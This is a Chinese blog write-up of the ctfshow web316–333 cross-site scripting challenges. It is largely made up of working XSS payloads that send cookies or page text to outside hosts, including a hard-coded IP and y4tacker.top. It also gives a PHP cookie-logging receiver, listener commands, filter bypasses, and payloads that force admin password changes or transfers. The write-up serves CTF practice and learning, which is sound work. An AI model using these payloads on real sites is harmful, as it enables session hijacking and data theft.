XSS我一直想学,今天终于开始啦~
XSS三种利用方式:整理常见的三种XSS攻击类型_Edon-Du的博客-CSDN博客_xss类型
常用payload:
外带 <script> var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie; </script> <script>window.open('http://118.31.168.198:39543/'+document.cookie)</script> <script>location.href='http://118.31.168.198:39543/'+document.cookie</script> <script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script> <input οnfοcus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus> 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<svg οnlοad="window.open('http://118.31.168.198:39543/'+document.cookie)">
<iframe οnlοad="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>
<body οnlοad="window.open('http://118.31.168.198:39543/'+document.cookie)">
(摘自ctfshow_web入门 xss - upstream_yu - 博客园 (cnblogs.com))
web316(反射型XSS)
这道题没有任何过滤,主要是熟悉XSS的利用方式,多试几种方法:
1.XSS平台
平台网址:http://xsscom.com/(不知道为什么https://xss.pt/xss.php收不到后台的cookie只能X自己...)
然后新建项目,把任意一种代码复制上去
刷新题目,等一会儿,后台bot自动点击就能抓到后台bot的cookie了(也抓得到你自己的cookie因为你自己也点击了)
为什么能抓到呢?其实是因为你提交的脚本被服务器处理之后嵌入到了页面中,生成了一个带有特定参数的恶意网址(如http://3fab5170-b52e-4977-8b3e-76537886948f.challenge.ctf.show/?msg=%3C%2Ftextarea%3E%27%22%3E%3Cscript+src%3Dhttp%3A%2F%2Fxsscom.com%2F%2FqnGgQV%3E%3C%2Fscript%3E)后台bot访问这个新生成的网址,就会执行内部嵌入的脚本,这个脚本就会把bot的cookie反射到接收页面上
由于是反射型cookie,所以只有带着特定参数的网址才有效~
2.自己的VPS
(1)脚本接收
先在自己的服务器上加一个接收脚本,如下:
<?php $cookie = $_GET['cookie']; $log = fopen("cookie.txt", "a"); fwrite($log, $cookie . "\n"); fclose($log); ?>
这个php脚本用于接收所有访问该页面的访问者的cookie
创建等待被写入的cookie.txt文件,然后在题目输入框中输入以下内容:
<script> var img = document.createElement("img"); //用于创建img标签 img.src = "http://your-domain:your-port/your-filename.php?cookie="+document.cookie; //创建src,让目标服务器访问我们的接收脚本页面 </script>
这样,就可以让服务器在请求资源的时候自动访问我们的脚本,从而把访问者的cookie带出~
(2)端口监听
也可以通过监听端口拿到cookie,方法如下:
首先,我们在自己的服务器上监听端口
常用的是nc命令,比如监听6767端口:
nc -lvvp 6767
不过有一个问题,nc命令只能收到一次请求,而第一次请求是你自己的cookie,稍微麻烦点,可能需要等一段时间再开nc或者开两次
相比而言,python3的http.server更好用一些,在6767端口开server命令:
python3 -m http.server 6767
这样就可以监听多次请求~
然后,我们在题目的输入框内输入下面的脚本:
<script> var img = document.createElement("img"); //用于创建img标签 img.src = "http://your-domain:your-port/"+document.cookie; //创建src,让目标服务器访问我们的接收脚本页面 </script>
这个脚本中对url进行了拼接,前面是你监听的端口,后面把cookie当做请求文件的路径。显然请求的文件是不存在的,但是我们可以在监听时拿到访问内容,就可以拿到cookie,放个截图:
我们可以看到,请求的路径就是cookie~
三种方式,做个积累~
web317
过滤了script,那就换一个payload呗
payload:<input οnfοcus="window.open('http://your-ip:your-port/'+document.cookie)" autofocus>
(PS:document.cookie是js的语法,必须放到js中解析,我一开始直接放到src里面没反应)
web318
说是过滤了img,上一题payload直接照抄没影响
听群主说
<body οnlοad="window.open('http://your-ip:your-port/'+document.cookie)">
这种payload比较好绕过过滤,积累一下下~
web319
不知道过滤了个啥,插就完事了
插,都可以插!
web320
还以为过滤了什么标签,结果是多过滤了空格啊
用注释符/**/或者tab(%09)或者/代替空格即可
(PS:tab没法在输入框中直接打出来,在hackbar中msg参数后面直接用%09代替)
web321-326
这跟上一道题的payload是一样一样的啊~
看了Y4师傅的博客,看到好像还有document.write(String.fromCharCode(ascii码))绕过的方式,不过没用到~感觉是针对某些关键词过滤可以直接绕过去
web327
这道题变成写信了,收件人我们得拿管理员的cookie所以盲猜admin,发件人随便写,然后内容写上payload就行
我猜这道题叫存储型XSS是因为我们发了信件过去然后收件人打开,这封信其实就已经运行了恶意脚本了,相当于直接把payload插到了一个页面中,一点击就会中招哈
web328
这道题一个是拿端口监听监听不到flag了不知道为啥,所以说要用脚本接收,然后在注册界面上密码里面输入payload
<script> var img = document.createElement("img"); img.src = "http://ip:port/filename.php?cookie="+document.cookie;</script>
原理其实是我们注册输入的密码会注入到用户管理界面,那么管理员在访问用户管理界面的时候就会执行XSS把cookie转发到我们的VPS上
接收脚本同之前:
<?php $cookie = $_GET['cookie']; $log = fopen("cookie.txt", "a"); fwrite($log, $cookie . "\n"); fclose($log); ?>
直接提交,拿到管理员cookie,然后登录,直接伪造cookie:
再查看用户管理界面就可以拿到flag了
另外还有个比较坑的地方,如果你不是admin登录,用户管理界面你是可以改密码框的值的,那里也可以用XSS,但是应该是注入点不对,不再加载资源也没有自动点击了,所以也没什么用...
WEB329
这道题就不一样了,群主设置了cookie失效,发给你的cookie没用了
那其实就更直接一点,不用cookie伪造管理员登录,直接拿管理员的html页面内容
Y4师傅的payload:
var img = new Image(); img.src = “http://y4tacker.top/index.php?q=”+document.querySelector(’#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main’).textContent; document.body.append(img);
参照着网页元素解释一下:
#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main:
#top利用id定位到body标签
>是级与级之间的连接符
div.layui-container是元素类型+class的定位方式
nth-child是子元素选择器,根据括号里面的数字选择对应顺序的子元素,注意编号是包括下两级甚至更多的子元素的,但是每一次只能用下一级的子元素
到最后一级,下面的就是直接文本元素了,这时候可以用.textContent来获取其直接子元素的文本内容
这样,我们就可以在管理员访问该界面的时候,直接拿到管理员看到的文本内容~
还有群主的payload也可以用,思路是一样的,只是群主用的是遍历~
web330
这道题变了一下注入点,变成注册的用户名了,密码被隐藏掉了所以没法执行
两种思路:
1.直接拿页面源码(账号密码里面没有flag了,但是管理员看到的页面肯定是有flag的,所以直接拿源码)
payload1:<script>var img = new Image(); img.src = "http://ip:port/x.php?cookie="+document.querySelector('#top > div.layui-container').textContent; document.body.append(img);</script>
2.多了一个修改密码,考虑改管理员密码
payload2:<script>$.ajax({url:"http://127.0.0.1/api/change.php?p=123",success:function(result){}})</script> payload3:<script>window.open('http://127.0.0.1/api/change.php?p=123')</script>
只要让管理员访问这个页面的时候执行重定向访问改密码就可以了
一般来说,XSS要么用来重定向执行访问请求,要么用来带cookie或者页面信息以便进一步利用
web331
跟上题的思路差不多,payload1照抄可以用,payload2要改一改,payload3用不了了,因为直接访问的url没办法post数据
payload1:<script>var img = new Image(); img.src = "http://ip:port/x.php?cookie="+document.querySelector('#top > div.layui-container').textContent; document.body.append(img);</script> payload2:<script>$.ajax({url:"http://127.0.0.1/api/change.php",method: "POST",data:{'p':'123'},cache: false,success: function(res){}})</script>
web332
多了个转账汇款功能,flag要9999元,转账为负值就可以给自己加钱,也属于常规思路了,给admin转-10000元就可以买flag了
貌似还可以自己给自己转账,转完之后钱竟然会增加???有点离谱但是也可以
web333
自己给自己转账依然是可以的,不过不能用负数了,应该是取了个绝对值,可以让admin给我们转账哈~老规矩,注册账号的时候用户名XSS:
payload:<script>$.ajax({url:"http://127.0.0.1/api/amount.php",method: "POST",data:{'u':'123','a':'10000'},cache: false,success: function(res){}})</script>
这样,admin就会一直给你转账~
最后群主总结了一下,XSS主要可以用来控制用户页面内容,还可以控制用户访问,相当于控制了浏览器;还可以带出cookie或者页面,造成关键信息泄露
好了,XSS部分到此AK~
参考三位师傅的博客,感谢~
CTFSHOW xss篇_羽的博客-CSDN博客_ctf xss
ctfshow_web入门 xss - upstream_yu - 博客园 (cnblogs.com)
我的博客:https://yinkstudio.xyz,欢迎关注~